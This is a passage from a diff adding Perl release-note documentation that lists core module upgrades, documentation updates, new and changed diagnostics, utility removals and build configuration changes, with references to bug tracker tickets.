+L<Filter::Simple> has been upgraded from version 0.92 to 0.93.
+
+It no longer treats C<no MyFilter> immediately following C<use MyFilter> as
+end-of-file.
+L<[perl #107726]|https://rt.perl.org/Public/Bug/Display.html?id=107726>
+
+=item *
+
+L<Getopt::Long> has been upgraded from version 2.48 to 2.49.
+
+=item *
+
+L<Getopt::Std> has been upgraded from version 1.11 to 1.12.
+
+=item *
+
+L<Hash::Util> has been upgraded from version 0.19 to 0.22.
+
+=item *
+
+L<HTTP::Tiny> has been upgraded from version 0.056 to 0.070.
+
+Internal 599-series errors now include the redirect history.
+
+=item *
+
+L<I18N::LangTags> has been upgraded from version 0.40 to 0.42.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<IO> has been upgraded from version 1.36 to 1.38.
+
+=item *
+
+L<IO::Socket::IP> has been upgraded from version 0.37 to 0.38.
+
+=item *
+
+L<IPC::Cmd> has been upgraded from version 0.92 to 0.96.
+
+=item *
+
+L<IPC::SysV> has been upgraded from version 2.06_01 to 2.07.
+
+=item *
+
+L<JSON::PP> has been upgraded from version 2.27300 to 2.27400_02.
+
+=item *
+
+L<lib> has been upgraded from version 0.63 to 0.64.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<List::Util> has been upgraded from version 1.42_02 to 1.46_02.
+
+=item *
+
+L<Locale::Codes> has been upgraded from version 3.37 to 3.42.
+
+=item *
+
+L<Locale::Maketext> has been upgraded from version 1.26 to 1.28.
+
+=item *
+
+L<Locale::Maketext::Simple> has been upgraded from version 0.21 to 0.21_01.
+
+=item *
+
+L<Math::BigInt> has been upgraded from version 1.999715 to 1.999806.
+
+=item *
+
+L<Math::BigInt::FastCalc> has been upgraded from version 0.40 to 0.5005.
+
+=item *
+
+L<Math::BigRat> has been upgraded from version 0.260802 to 0.2611.
+
+=item *
+
+L<Math::Complex> has been upgraded from version 1.59 to 1.5901.
+
+=item *
+
+L<Memoize> has been upgraded from version 1.03 to 1.03_01.
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20170420 to 5.20170530.
+
+=item *
+
+L<Module::Load::Conditional> has been upgraded from version 0.64 to 0.68.
+
+=item *
+
+L<Module::Metadata> has been upgraded from version 1.000031 to 1.000033.
+
+=item *
+
+L<mro> has been upgraded from version 1.18 to 1.20.
+
+=item *
+
+L<Net::Ping> has been upgraded from version 2.43 to 2.55.
+
+IPv6 addresses and C<AF_INET6> sockets are now supported, along with several
+other enhancements.
+
+=item *
+
+L<NEXT> has been upgraded from version 0.65 to 0.67.
+
+=item *
+
+L<Opcode> has been upgraded from version 1.34 to 1.39.
+
+=item *
+
+L<open> has been upgraded from version 1.10 to 1.11.
+
+=item *
+
+L<OS2::Process> has been upgraded from version 1.11 to 1.12.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<overload> has been upgraded from version 1.26 to 1.28.
+
+Its compilation speed has been improved slightly.
+
+=item *
+
+L<parent> has been upgraded from version 0.234 to 0.236.
+
+=item *
+
+L<perl5db.pl> has been upgraded from version 1.50 to 1.51.
+
+It now ignores F</dev/tty> on non-Unix systems.
+L<[perl #113960]|https://rt.perl.org/Public/Bug/Display.html?id=113960>
+
+=item *
+
+L<Perl::OSType> has been upgraded from version 1.009 to 1.010.
+
+=item *
+
+L<perlfaq> has been upgraded from version 5.021010 to 5.021011.
+
+=item *
+
+L<PerlIO> has been upgraded from version 1.09 to 1.10.
+
+=item *
+
+L<PerlIO::encoding> has been upgraded from version 0.24 to 0.25.
+
+=item *
+
+L<PerlIO::scalar> has been upgraded from version 0.24 to 0.26.
+
+=item *
+
+L<Pod::Checker> has been upgraded from version 1.60 to 1.73.
+
+=item *
+
+L<Pod::Functions> has been upgraded from version 1.10 to 1.11.
+
+=item *
+
+L<Pod::Html> has been upgraded from version 1.22 to 1.2202.
+
+=item *
+
+L<Pod::Perldoc> has been upgraded from version 3.25_02 to 3.28.
+
+=item *
+
+L<Pod::Simple> has been upgraded from version 3.32 to 3.35.
+
+=item *
+
+L<Pod::Usage> has been upgraded from version 1.68 to 1.69.
+
+=item *
+
+L<POSIX> has been upgraded from version 1.65 to 1.76.
+
+This remedies several defects in making its symbols exportable.
+L<[perl #127821]|https://rt.perl.org/Public/Bug/Display.html?id=127821>
+
+The C<POSIX::tmpnam()> interface has been removed,
+see L</"POSIX::tmpnam() has been removed">.
+
+The following deprecated functions have been removed:
+
+ POSIX::isalnum
+ POSIX::isalpha
+ POSIX::iscntrl
+ POSIX::isdigit
+ POSIX::isgraph
+ POSIX::islower
+ POSIX::isprint
+ POSIX::ispunct
+ POSIX::isspace
+ POSIX::isupper
+ POSIX::isxdigit
+ POSIX::tolower
+ POSIX::toupper
+
+Trying to import POSIX subs that have no real implementations
+(like C<POSIX::atend()>) now fails at import time, instead of
+waiting until runtime.
+
+=item *
+
+L<re> has been upgraded from version 0.32 to 0.34
+
+This adds support for the new L<C<E<47>xx>|perlre/E<sol>x and E<sol>xx>
+regular expression pattern modifier, and a change to the L<S<C<use re
+'strict'>>|re/'strict' mode> experimental feature. When S<C<re
+'strict'>> is enabled, a warning now will be generated for all
+unescaped uses of the two characters C<"}"> and C<"]"> in regular
+expression patterns (outside bracketed character classes) that are taken
+literally. This brings them more in line with the C<")"> character which
+is always a metacharacter unless escaped. Being a metacharacter only
+sometimes, depending on an action at a distance, can lead to silently
+having the pattern mean something quite different than was intended,
+which the S<C<re 'strict'>> mode is intended to minimize.
+
+=item *
+
+L<Safe> has been upgraded from version 2.39 to 2.40.
+
+=item *
+
+L<Scalar::Util> has been upgraded from version 1.42_02 to 1.46_02.
+
+=item *
+
+L<Storable> has been upgraded from version 2.56 to 2.62.
+
+Fixes
+L<[perl #130098]|https://rt.perl.org/Public/Bug/Display.html?id=130098>.
+
+=item *
+
+L<Symbol> has been upgraded from version 1.07 to 1.08.
+
+=item *
+
+L<Sys::Syslog> has been upgraded from version 0.33 to 0.35.
+
+=item *
+
+L<Term::ANSIColor> has been upgraded from version 4.04 to 4.06.
+
+=item *
+
+L<Term::ReadLine> has been upgraded from version 1.15 to 1.16.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<Test> has been upgraded from version 1.28 to 1.30.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<Test::Harness> has been upgraded from version 3.36 to 3.38.
+
+=item *
+
+L<Test::Simple> has been upgraded from version 1.001014 to 1.302073.
+
+=item *
+
+L<Thread::Queue> has been upgraded from version 3.09 to 3.12.
+
+=item *
+
+L<Thread::Semaphore> has been upgraded from 2.12 to 2.13.
+
+Added the C<down_timed> method.
+
+=item *
+
+L<threads> has been upgraded from version 2.07 to 2.15.
+
+=item *
+
+L<threads::shared> has been upgraded from version 1.51 to 1.56.
+
+=item *
+
+L<Tie::Hash::NamedCapture> has been upgraded from version 0.09 to 0.10.
+
+=item *
+
+L<Time::HiRes> has been upgraded from version 1.9733 to 1.9741.
+
+It now builds on systems with C++11 compilers (such as G++ 6 and Clang++
+3.9).
+
+Now uses C<clockid_t>.
+
+=item *
+
+L<Time::Local> has been upgraded from version 1.2300 to 1.25.
+
+=item *
+
+L<Unicode::Collate> has been upgraded from version 1.14 to 1.19.
+
+=item *
+
+L<Unicode::UCD> has been upgraded from version 0.64 to 0.68.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<version> has been upgraded from version 0.9916 to 0.9917.
+
+=item *
+
+L<VMS::DCLsym> has been upgraded from version 1.06 to 1.08.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<warnings> has been upgraded from version 1.36 to 1.37.
+
+=item *
+
+L<XS::Typemap> has been upgraded from version 0.14 to 0.15.
+
+=item *
+
+L<XSLoader> has been upgraded from version 0.21 to 0.27.
+
+Fixed a security hole in which binary files could be loaded from a path
+outside of L<C<@INC>|perlvar/@INC>.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=back
+
+=head1 Documentation
+
+=head2 New Documentation
+
+=head3 L<perldeprecation>
+
+This file documents all upcoming deprecations, and some of the deprecations
+which already have been removed. The purpose of this documentation is
+two-fold: document what will disappear, and by which version, and serve
+as a guide for people dealing with code which has features that no longer
+work after an upgrade of their perl.
+
+=head2 Changes to Existing Documentation
+
+We have attempted to update the documentation to reflect the changes
+listed in this document. If you find any we have missed, send email to
+L<perlbug@perl.org|mailto:perlbug@perl.org>.
+
+Additionally, all references to Usenet have been removed, and the
+following selected changes have been made:
+
+=head3 L<perlfunc>
+
+=over 4
+
+=item *
+
+Removed obsolete text about L<C<defined()>|perlfunc/defined>
+on aggregates that should have been deleted earlier, when the feature
+was removed.
+
+=item *
+
+Corrected documentation of L<C<eval()>|perlfunc/eval>,
+and L<C<evalbytes()>|perlfunc/evalbytes>.
+
+=item *
+
+Clarified documentation of L<C<seek()>|perlfunc/seek>,
+L<C<tell()>|perlfunc/tell> and L<C<sysseek()>|perlfunc/sysseek>
+emphasizing that positions are in bytes and not characters.
+L<[perl #128607]|https://rt.perl.org/Public/Bug/Display.html?id=128607>
+
+=item *
+
+Clarified documentation of L<C<sort()>|perlfunc/sort LIST> concerning
+the variables C<$a> and C<$b>.
+
+=item *
+
+In L<C<split()>|perlfunc/split> noted that certain pattern modifiers are
+legal, and added a caution about its use in Perls before v5.11.
+
+=item *
+
+Removed obsolete documentation of L<C<study()>|perlfunc/study>, noting
+that it is now a no-op.
+
+=item *
+
+Noted that L<C<vec()>|perlfunc/vec> doesn't work well when the string
+contains characters whose code points are above 255.
+
+=back
+
+=head3 L<perlguts>
+
+=over 4
+
+=item *
+
+Added advice on
+L<formatted printing of operands of C<Size_t> and C<SSize_t>|perlguts/Formatted Printing of Size_t and SSize_t>
+
+=back
+
+=head3 L<perlhack>
+
+=over 4
+
+=item *
+
+Clarify what editor tab stop rules to use, and note that we are
+migrating away from using tabs, replacing them with sequences of SPACE
+characters.
+
+=back
+
+=head3 L<perlhacktips>
+
+=over 4
+
+=item *
+
+Give another reason to use C<cBOOL> to cast an expression to boolean.
+
+=item *
+
+Note that the macros C<TRUE> and C<FALSE> are available to express
+boolean values.
+
+=back
+
+=head3 L<perlinterp>
+
+=over 4
+
+=item *
+
+L<perlinterp> has been expanded to give a more detailed example of how to
+hunt around in the parser for how a given operator is handled.
+
+=back
+
+=head3 L<perllocale>
+
+=over 4
+
+=item *
+
+Some locales aren't compatible with Perl. Note that these can cause
+core dumps.
+
+=back
+
+=head3 L<perlmod>
+
+=over 4
+
+=item *
+
+Various clarifications have been added.
+
+=back
+
+=head3 L<perlmodlib>
+
+=over 4
+
+=item *
+
+Updated the site mirror list.
+
+=back
+
+=head3 L<perlobj>
+
+=over 4
+
+=item *
+
+Added a section on calling methods using their fully qualified names.
+
+=item *
+
+Do not discourage manual C<@ISA>.
+
+=back
+
+=head3 L<perlootut>
+
+=over 4
+
+=item *
+
+Mention C<Moo> more.
+
+=back
+
+=head3 L<perlop>
+
+=over 4
+
+=item *
+
+Note that white space must be used for quoting operators if the
+delimiter is a word character (I<i.e.>, matches C<\w>).
+
+=item *
+
+Clarify that in regular expression patterns delimited by single quotes,
+no variable interpolation is done.
+
+=back
+
+=head3 L<perlre>
+
+=over 4
+
+=item *
+
+The first part was extensively rewritten to incorporate various basic
+points, that in earlier versions were mentioned in sort of an appendix
+on Version 8 regular expressions.
+
+=item *
+
+Note that it is common to have the C</x> modifier and forget that this
+means that C<"#"> has to be escaped.
+
+=back
+
+=head3 L<perlretut>
+
+=over 4
+
+=item *
+
+Add introductory material.
+
+=item *
+
+Note that a metacharacter occurring in a context where it can't mean
+that, silently loses its meta-ness and matches literally.
+L<C<use re 'strict'>|re/'strict' mode> can catch some of these.
+
+=back
+
+=head3 L<perlunicode>
+
+=over 4
+
+=item *
+
+Corrected the text about Unicode BYTE ORDER MARK handling.
+
+=item *
+
+Updated the text to correspond with changes in Unicode UTS#18, concerning
+regular expressions, and Perl compatibility with what it says.
+
+=back
+
+=head3 L<perlvar>
+
+=over 4
+
+=item *
+
+Document C<@ISA>. It was documented in other places, but not in L<perlvar>.
+
+=back
+
+=head1 Diagnostics
+
+=head2 New Diagnostics
+
+=head3 New Errors
+
+=over 4
+
+=item *
+
+L<A signature parameter must start with C<'$'>, C<'@'> or C<'%'>
+|perldiag/A signature parameter must start with C<'$'>, C<'@'> or C<'%'>>
+
+=item *
+
+L<Bareword in require contains "%s"|perldiag/"Bareword in require contains "%s"">
+
+=item *
+
+L<Bareword in require maps to empty filename|perldiag/"Bareword in require maps to empty filename">
+
+=item *
+
+L<Bareword in require maps to disallowed filename "%s"|perldiag/"Bareword in require maps to disallowed filename "%s"">
+
+=item *
+
+L<Bareword in require must not start with a double-colon: "%s"|perldiag/"Bareword in require must not start with a double-colon: "%s"">
+
+=item *
+
+L<%s: command not found|perldiag/"%s: command not found">
+
+(A) You've accidentally run your script through B<bash> or another shell
+instead of Perl. Check the C<#!> line, or manually feed your script into
+Perl yourself. The C<#!> line at the top of your file could look like:
+
+ #!/usr/bin/perl
+
+=item *
+
+L<%s: command not found: %s|perldiag/"%s: command not found: %s">
+
+(A) You've accidentally run your script through B<zsh> or another shell
+instead of Perl. Check the C<#!> line, or manually feed your script into
+Perl yourself. The C<#!> line at the top of your file could look like:
+
+ #!/usr/bin/perl
+
+=item *
+
+L<The experimental declared_refs feature is not enabled|perldiag/"The experimental declared_refs feature is not enabled">
+
+(F) To declare references to variables, as in C<my \%x>, you must first enable
+the feature:
+
+ no warnings "experimental::declared_refs";
+ use feature "declared_refs";
+
+See L</Declaring a reference to a variable>.
+
+=item *
+
+L<Illegal character following sigil in a subroutine signature
+|perldiag/Illegal character following sigil in a subroutine signature>
+
+=item *
+
+L<Indentation on line %d of here-doc doesn't match delimiter
+|perldiag/Indentation on line %d of here-doc doesn't match delimiter>
+
+=item *
+
+L<Infinite recursion via empty pattern|perldiag/"Infinite recursion via empty pattern">.
+
+Using the empty pattern (which re-executes the last successfully-matched
+pattern) inside a code block in another regex, as in C</(?{ s!!new! })/>, has
+always previously yielded a segfault. It now produces this error.
+
+=item *
+
+L<Malformed UTF-8 string in "%s"
+|perldiag/Malformed UTF-8 string in "%s">
+
+=item *
+
+L<Multiple slurpy parameters not allowed
+|perldiag/Multiple slurpy parameters not allowed>
+
+=item *
+
+L<C<'#'> not allowed immediately following a sigil in a subroutine signature
+|perldiag/C<'#'> not allowed immediately following a sigil in a subroutine signature>
+
+=item *
+
+L<panic: unknown OA_*: %x
+|perldiag/panic: unknown OA_*: %x>
+
+=item *
+
+L<Unescaped left brace in regex is illegal here|perldiag/Unescaped left brace in regex is illegal here in regex; marked by S<E<lt>-- HERE> in mE<sol>%sE<sol>>
+
+Unescaped left braces are now illegal in some contexts in regular expression
+patterns. In other contexts, they are still just deprecated; they will
+be illegal in Perl 5.30.
+
+=item *
+
+L<Version control conflict marker|perldiag/"Version control conflict marker">
+
+(F) The parser found a line starting with C<E<lt>E<lt>E<lt>E<lt>E<lt>E<lt>E<lt>>,
+C<E<gt>E<gt>E<gt>E<gt>E<gt>E<gt>E<gt>>, or C<=======>. These may be left by a
+version control system to mark conflicts after a failed merge operation.
+
+=back
+
+=head3 New Warnings
+
+=over 4
+
+=item *
+
+L<Can't determine class of operator %s, assuming C<BASEOP>
+|perldiag/Can't determine class of operator %s, assuming C<BASEOP>>
+
+=item *
+
+L<Declaring references is experimental|perldiag/"Declaring references is experimental">
+
+(S experimental::declared_refs) This warning is emitted if you use a reference
+constructor on the right-hand side of C<my()>, C<state()>, C<our()>, or
+C<local()>. Simply suppress the warning if you want to use the feature, but
+know that in doing so you are taking the risk of using an experimental feature
+which may change or be removed in a future Perl version:
+
+ no warnings "experimental::declared_refs";
+ use feature "declared_refs";
+ $fooref = my \$foo;
+
+See L</Declaring a reference to a variable>.
+
+=item *
+
+L<do "%s" failed, '.' is no longer in @INC|perldiag/do "%s" failed, '.' is no longer in @INC; did you mean do ".E<sol>%s"?>
+
+Since C<"."> is now removed from C<@INC> by default, C<do> will now trigger a warning recommending to fix the C<do> statement.
+
+=item *
+
+L<C<File::Glob::glob()> will disappear in perl 5.30. Use C<File::Glob::bsd_glob()> instead.
+|perldiag/C<File::Glob::glob()> will disappear in perl 5.30. Use C<File::Glob::bsd_glob()> instead.>
+
+=item *
+
+L<Unescaped literal '%c' in regex; marked by E<lt>-- HERE in mE<sol>%sE<sol>
+|perldiag/Unescaped literal '%c' in regex; marked by <-- HERE in mE<sol>%sE<sol>>
+
+=item *
+
+L<Use of unassigned code point or non-standalone grapheme for a delimiter will be a fatal error starting in Perl 5.30|perldiag/"Use of unassigned code point or non-standalone grapheme for a delimiter will be a fatal error starting in Perl 5.30">
+
+See L</Deprecations>
+
+=back
+
+=head2 Changes to Existing Diagnostics
+
+=over 4
+
+=item *
+
+When a C<require> fails, we now do not provide C<@INC> when the C<require>
+is for a file instead of a module.
+
+=item *
+
+When C<@INC> is not scanned for a C<require> call, we no longer display
+C<@INC> to avoid confusion.
+
+=item *
+
+L<Attribute "locked" is deprecated, and will disappear in Perl 5.28
+|perldiag/Attribute "locked" is deprecated, and will disappear in Perl 5.28>
+
+This existing warning has had the I<and will disappear> text added in this
+release.
+
+=item *
+
+L<Attribute "unique" is deprecated, and will disappear in Perl 5.28
+|perldiag/Attribute "unique" is deprecated, and will disappear in Perl 5.28>
+
+This existing warning has had the I<and will disappear> text added in this
+release.
+
+=item *
+
+Calling POSIX::%s() is deprecated
+
+This warning has been removed, as the deprecated functions have been
+removed from POSIX.
+
+=item *
+
+L<Constants from lexical variables potentially modified elsewhere are deprecated. This will not be allowed in Perl 5.32
+|perldiag/Constants from lexical variables potentially modified elsewhere are deprecated. This will not be allowed in Perl 5.32>
+
+This existing warning has had the I<this will not be allowed> text added
+in this release.
+
+=item *
+
+L<Deprecated use of C<my()> in false conditional. This will be a fatal error in Perl 5.30
+|perldiag/Deprecated use of C<my()> in false conditional. This will be a fatal error in Perl 5.30>
+
+This existing warning has had the I<this will be a fatal error> text added
+in this release.
+
+=item *
+
+L<C<dump()> better written as C<CORE::dump()>. C<dump()> will no longer be available in Perl 5.30
+|perldiag/C<dump()> better written as C<CORE::dump()>. C<dump()> will no longer be available in Perl 5.30>
+
+This existing warning has had the I<no longer be available> text added in
+this release.
+
+=item *
+
+L<Experimental %s on scalar is now forbidden
+|perldiag/Experimental %s on scalar is now forbidden>
+
+This message is now followed by more helpful text.
+L<[perl #127976]|https://rt.perl.org/Public/Bug/Display.html?id=127976>
+
+=item *
+
+Experimental "%s" subs not enabled
+
+This warning was been removed, as lexical subs are no longer experimental.
+
+=item *
+
+Having more than one /%c regexp modifier is deprecated
+
+This deprecation warning has been removed, since C</xx> now has a new
+meaning.
+
+=item *
+
+L<%s() is deprecated on C<:utf8> handles. This will be a fatal error in Perl 5.30
+|perldiag/%s() is deprecated on C<:utf8> handles. This will be a fatal error in Perl 5.30>.
+
+where "%s" is one of C<sysread>, C<recv>, C<syswrite>, or C<send>.
+
+This existing warning has had the I<this will be a fatal error> text added
+in this release.
+
+This warning is now enabled by default, as all C<deprecated> category
+warnings should be.
+
+=item *
+
+L<C<$*> is no longer supported. Its use will be fatal in Perl 5.30
+|perldiag/C<$*> is no longer supported. Its use will be fatal in Perl 5.30>
+
+This existing warning has had the I<its use will be fatal> text added in
+this release.
+
+=item *
+
+L<C<$#> is no longer supported. Its use will be fatal in Perl 5.30
+|perldiag/C<$#> is no longer supported. Its use will be fatal in Perl 5.30>
+
+This existing warning has had the I<its use will be fatal> text added in
+this release.
+
+=item *
+
+L<Malformed UTF-8 character%s
+|perldiag/Malformed UTF-8 character%s>
+
+Details as to the exact problem have been added at the end of this
+message
+
+=item *
+
+L<Missing or undefined argument to %s
+|perldiag/Missing or undefined argument to %s>
+
+This warning used to warn about C<require>, even if it was actually C<do>
+which being executed. It now gets the operation name right.
+
+=item *
+
+NO-BREAK SPACE in a charnames alias definition is deprecated
+
+This warning has been removed as the behavior is now an error.
+
+=item *
+
+L<Odd nameE<sol>value argument for subroutine '%s'
+|perldiag/"Odd nameE<sol>value argument for subroutine '%s'">
+
+This warning now includes the name of the offending subroutine.
+
+=item *
+
+L<Opening dirhandle %s also as a file. This will be a fatal error in Perl 5.28
+|perldiag/Opening dirhandle %s also as a file. This will be a fatal error in Perl 5.28>
+
+This existing warning has had the I<this will be a fatal error> text added
+in this release.
+
+=item *
+
+L<Opening filehandle %s also as a directory. This will be a fatal error in Perl 5.28
+|perldiag/Opening filehandle %s also as a directory. This will be a fatal error in Perl 5.28>
+
+This existing warning has had the I<this will be a fatal error> text added
+in this release.
+
+=item *
+
+panic: ck_split, type=%u
+
+panic: pp_split, pm=%p, s=%p
+
+These panic errors have been removed.
+
+=item *
+
+Passing malformed UTF-8 to "%s" is deprecated
+
+This warning has been changed to the fatal
+L<Malformed UTF-8 string in "%s"
+|perldiag/Malformed UTF-8 string in "%s">
+
+=item *
+
+L<Setting C<< $E<sol> >> to a reference to %s as a form of slurp is deprecated, treating as undef. This will be fatal in Perl 5.28
+|perldiag/Setting C<< $E<sol> >> to a reference to %s as a form of slurp is deprecated, treating as undef. This will be fatal in Perl 5.28>
+
+This existing warning has had the I<this will be fatal> text added in
+this release.
+
+=item *
+
+L<C<${^ENCODING}> is no longer supported. Its use will be fatal in Perl 5.28|perldiag/"${^ENCODING} is no longer supported. Its use will be fatal in Perl 5.28">
+
+This warning used to be: "Setting C<${^ENCODING}> is deprecated".
+
+The special action of the variable C<${^ENCODING}> was formerly used to
+implement the C<encoding> pragma. As of Perl 5.26, rather than being
+deprecated, assigning to this variable now has no effect except to issue
+the warning.
+
+=item *
+
+L<Too few arguments for subroutine '%s'
+|perldiag/Too few arguments for subroutine '%s'>
+
+This warning now includes the name of the offending subroutine.
+
+=item *
+
+L<Too many arguments for subroutine '%s'
+|perldiag/Too many arguments for subroutine '%s'>
+
+This warning now includes the name of the offending subroutine.
+
+=item *
+
+L<Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through in regex; marked by S<< E<lt>-- HERE >> in mE<sol>%sE<sol>
+|perldiag/Unescaped left brace in regex is deprecated here (and will be fatal in Perl 5.30), passed through in regex; marked by S<< E<lt>-- HERE >> in mE<sol>%sE<sol>>
+
+This existing warning has had the I<here (and will be fatal...)> text
+added in this release.
+
+=item *
+
+L<Unknown charname '' is deprecated. Its use will be fatal in Perl 5.28
+|perldiag/Unknown charname '' is deprecated. Its use will be fatal in Perl 5.28>
+
+This existing warning has had the I<its use will be fatal> text added in
+this release.
+
+=item *
+
+L<Use of bare E<lt>E<lt> to mean E<lt>E<lt>"" is deprecated. Its use will be fatal in Perl 5.28
+|perldiag/Use of bare E<lt>E<lt> to mean E<lt>E<lt>"" is deprecated. Its use will be fatal in Perl 5.28>
+
+This existing warning has had the I<its use will be fatal> text added in
+this release.
+
+=item *
+
+L<Use of code point 0x%s is deprecated; the permissible max is 0x%s. This will be fatal in Perl 5.28
+|perldiag/Use of code point 0x%s is deprecated; the permissible max is 0x%s. This will be fatal in Perl 5.28>
+
+This existing warning has had the I<this will be fatal> text added in
+this release.
+
+=item *
+
+L<Use of comma-less variable list is deprecated. Its use will be fatal in Perl 5.28
+|perldiag/Use of comma-less variable list is deprecated. Its use will be fatal in Perl 5.28>
+
+This existing warning has had the I<its use will be fatal> text added in
+this release.
+
+=item *
+
+L<Use of inherited C<AUTOLOAD> for non-method %s() is deprecated. This will be fatal in Perl 5.28
+|perldiag/Use of inherited C<AUTOLOAD> for non-method %s() is deprecated. This will be fatal in Perl 5.28>
+
+This existing warning has had the I<this will be fatal> text added in
+this release.
+
+=item *
+
+L<Use of strings with code points over 0xFF as arguments to %s operator is deprecated. This will be a fatal error in Perl 5.28
+|perldiag/Use of strings with code points over 0xFF as arguments to %s operator is deprecated. This will be a fatal error in Perl 5.28>
+
+This existing warning has had the I<this will be a fatal error> text added in
+this release.
+
+=back
+
+=head1 Utility Changes
+
+=head2 F<c2ph> and F<pstruct>
+
+=over 4
+
+=item *
+
+These old utilities have long since superceded by L<h2xs>, and are
+now gone from the distribution.
+
+=back
+
+=head2 F<Porting/pod_lib.pl>
+
+=over 4
+
+=item *
+
+Removed spurious executable bit.
+
+=item *
+
+Account for the possibility of DOS file endings.
+
+=back
+
+=head2 F<Porting/sync-with-cpan>
+
+=over 4
+
+=item *
+
+Many improvements.
+
+=back
+
+=head2 F<perf/benchmarks>
+
+=over 4
+
+=item *
+
+Tidy file, rename some symbols.
+
+=back
+
+=head2 F<Porting/checkAUTHORS.pl>
+
+=over 4
+
+=item *
+
+Replace obscure character range with C<\w>.
+
+=back
+
+=head2 F<t/porting/regen.t>
+
+=over 4
+
+=item *
+
+Try to be more helpful when tests fail.
+
+=back
+
+=head2 F<utils/h2xs.PL>
+
+=over 4
+
+=item *
+
+Avoid infinite loop for enums.
+
+=back
+
+=head2 L<perlbug>
+
+=over 4
+
+=item *
+
+Long lines in the message body are now wrapped at 900 characters, to stay
+well within the 1000-character limit imposed by SMTP mail transfer agents.
+This is particularly likely to be important for the list of arguments to
+F<Configure>, which can readily exceed the limit if, for example, it names
+several non-default installation paths. This change also adds the first unit
+tests for perlbug.
+L<[perl #128020]|https://rt.perl.org/Public/Bug/Display.html?id=128020>
+
+=back
+
+=head1 Configuration and Compilation
+
+=over 4
+
+=item *
+
+C<-Ddefault_inc_excludes_dot> has added, and enabled by default.
+
+=item *
+
+The C<dtrace> build process has further changes
+L<[perl #130108]|https://rt.perl.org/Public/Bug/Display.html?id=130108>:
+
+=over
+
+=item *
+
+If the C<-xnolibs> is available, use that so a F<dtrace> perl can be
+built within a FreeBSD jail.
+
+=item *
+
+On systems that build a F<dtrace> object file (FreeBSD, Solaris, and
+SystemTap's dtrace emulation), copy the input objects to a separate
+directory and process them there, and use those objects in the link,
+since C<dtrace -G> also modifies these objects.
+
+=item *
+
+Add F<libelf> to the build on FreeBSD 10.x, since F<dtrace> adds
+references to F<libelf> symbols.
+
+=item *
+
+Generate a dummy F<dtrace_main.o> if C<dtrace -G> fails to build it. A
+default build on Solaris generates probes from the unused inline
+functions, while they don't on FreeBSD, which causes C<dtrace -G> to
+fail.
+
+=back
+
+=item *
+
+You can now disable perl's use of the C<PERL_HASH_SEED> and
+C<PERL_PERTURB_KEYS> environment variables by configuring perl with
+C<-Accflags=NO_PERL_HASH_ENV>.
+
+=item *
+
+You can now disable perl's use of the C<PERL_HASH_SEED_DEBUG> environment
+variable by configuring perl with
+C<-Accflags=-DNO_PERL_HASH_SEED_DEBUG>.
+
+=item *
+
+F<Configure> now zeroes out the alignment bytes when calculating the bytes
+for 80-bit C<NaN> and C<Inf> to make builds more reproducible.
+L<[perl #130133]|https://rt.perl.org/Public/Bug/Display.html?id=130133>
+
+=item *
+
+Since v5.18, for testing purposes we have included support for
+building perl with a variety of non-standard, and non-recommended
+hash functions. Since we do not recommend the use of these functions,
+we have removed them and their corresponding build options. Specifically
+this includes the following build options:
+
+ PERL_HASH_FUNC_SDBM
+ PERL_HASH_FUNC_DJB2
+ PERL_HASH_FUNC_SUPERFAST
+ PERL_HASH_FUNC_MURMUR3
+ PERL_HASH_FUNC_ONE_AT_A_TIME
+ PERL_HASH_FUNC_ONE_AT_A_TIME_OLD
+ PERL_HASH_FUNC_MURMUR_HASH_64A
+ PERL_HASH_FUNC_MURMUR_HASH_64B
+
+=item *
+
+Remove "Warning: perl appears in your path"
+
+This install warning is more or less obsolete, since most platforms already
+B<will> have a F</usr/bin/perl> or similar provided by the OS.
+
+=item *
+
+Reduce verbosity of C<make install.man>
+
+Previously, two progress messages were emitted for each manpage: one by
+installman itself, and one by the function in F<install_lib.pl> that it calls to
+actually install the file. Disabling the second of those in each case saves
+over 750 lines of unhelpful output.
+
+=item *
+
+Cleanup for C<clang -Weverything> support.
+L<[perl #129961]|https://rt.perl.org/Public/Bug/Display.html?id=129961>
+
+=item *
+
+F<Configure>: signbit scan was assuming too much, stop assuming negative 0.
+
+=item *
+
+Various compiler warnings have been silenced.
+
+=item *
+
+Several smaller changes have been made to remove impediments to compiling
+under C++11.
+
+=item *
+
+Builds using C<USE_PAD_RESET> now work again; this configuration had
+bit-rotted.
+
+=item *
+
+A probe for C<gai_strerror> was added to F<Configure> that checks if
+the C<gai_strerror()> routine is available and can be used to
+translate error codes returned by C<getaddrinfo()> into human
+readable strings.
+
+=item *
+
+F<Configure> now aborts if both C<-Duselongdouble> and C<-Dusequadmath> are
+requested.
+L<[perl #126203]|https://rt.perl.org/Public/Bug/Display.html?id=126203>
+
+=item *
+
+Fixed a bug in which F<Configure> could append C<-quadmath> to the
+archname even if it was already present.
+L<[perl #128538]|https://rt.perl.org/Public/Bug/Display.html?id=128538>
+
+=item *
+
+Clang builds with C<-DPERL_GLOBAL_STRUCT> or
+C<-DPERL_GLOBAL_STRUCT_PRIVATE> have
+been fixed (by disabling Thread Safety Analysis for these configurations).
+
+=item *
+
+F<make_ext.pl> no longer updates a module's F<pm_to_blib> file when no
+files require updates. This could cause dependencies, F<perlmain.c>
